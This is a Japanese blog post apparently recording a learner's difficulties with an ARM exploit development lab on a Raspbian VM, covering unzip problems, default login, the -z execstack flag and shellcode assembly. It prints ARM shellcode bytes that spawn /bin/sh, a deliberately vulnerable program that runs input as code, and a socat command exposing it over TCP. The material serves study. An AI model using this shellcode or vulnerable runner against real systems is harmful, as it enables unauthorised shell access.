☠️
Learning ARM Exploit Developmentに取り組んでみる【詰まったところまとめ】
こちらのLearning ARM Exploit Developmentに取り組むにあたって、詰まった部分などをまとめています。
本当は自分で他のシェルコードを書いてみたかったのですが、そこまでは至りませんでした。
準備
解凍に失敗する
2020-02-13-raspbian-buster-lite.zip
を解凍するときに、VM上ではメモリが足りなくて解凍に失敗しました。
解凍後の2020-02-13-raspbian-buster-lite.img
のサイズはおよそ1.8G
ありますので、空き容量に注意が必要です。
ログインができない
Raspbian環境は
raspberrypi login: pi
Password: raspberry
でログインできます。
Crafting Shellcode
- アセンブリはRaspbianの環境上でコンパイルします
\x10\x00\x8f\xe2\x0b\x70\xa0\xe3\x01\x10\x21\xe0\x02\x20\x22\xe0\x07\x20\xc0\xe5\x01\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x41\x00\x00\x00\x00pi
1.3 シェルコードを用いたシェル奪取
shellcode.c
#include <stdio.h>
int main()
{
char buf[30];
setbuf(stdout, NULL);
printf("Give me a shellcode: ");
fgets(buf, sizeof(buf), stdin);
(*(void (*)())buf)();
}
挙動とコンパイルオプション
pi@raspberrypi:~$ socat tcp-l:8888,reuseaddr,fork exec:./shellcode
shellcode
を上記のように実行するのですが、コンパイルを間違えるとうまく動きません。
pi@raspberrypi:~$ gcc shellcode.c -o shellcode
でコンパイルしていたところ、
$> ./solve.rb
ls ; [*] shellcode length: 28
[INFO] Switching to interactive mode
[INFO] Got EOF in interactive mode
このように、いつもinteractive modeに移行した後にすぐ、EOFでプログラムが終了してしまいました。
これは正しくは
pi@raspberrypi:~$ gcc -z execstack shellcode.c -o shellcode
のようにフラグをつけてコンパイルする必要がありました。
-z execstack
?
gcc に渡している-z
のオプションに関しては以下のように記述がありました。
-z keyword
-z is passed directly on to the linker along with the keyword keyword. See the section in the documentation of your linker for permitted values and their meanings.
source: gcc.gnu.org
リンカに渡すためのオプションのようです。
シェルコードをいじってみたけど失敗したので自分にはまだ早かった
- コンパイル
ARG='mycode' && as $ARG.asm -o $ARG.o && ld $ARG.o -o $ARG.bin && objdump -d $ARG.bin && rm $ARG.o
- シェルコード作成
objcopy -O binary $ARG.bin $ARG_hex.bin && hexdump -v -e '"\\""x" 1/1 "%02x" ""' $ARG_hex.bin
Thumbモードにせずに実行したら命令セットが長くて\x00
を含むコードになってしまった。
もちろん動かなかった。
\x10\x00\x8f\xe2\x0b\x70\xa0\xe3\x01\x10\x21\xe0\x02\x20\x22\xe0\x07\x20\xc0\xe5\x01\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x41
Discussion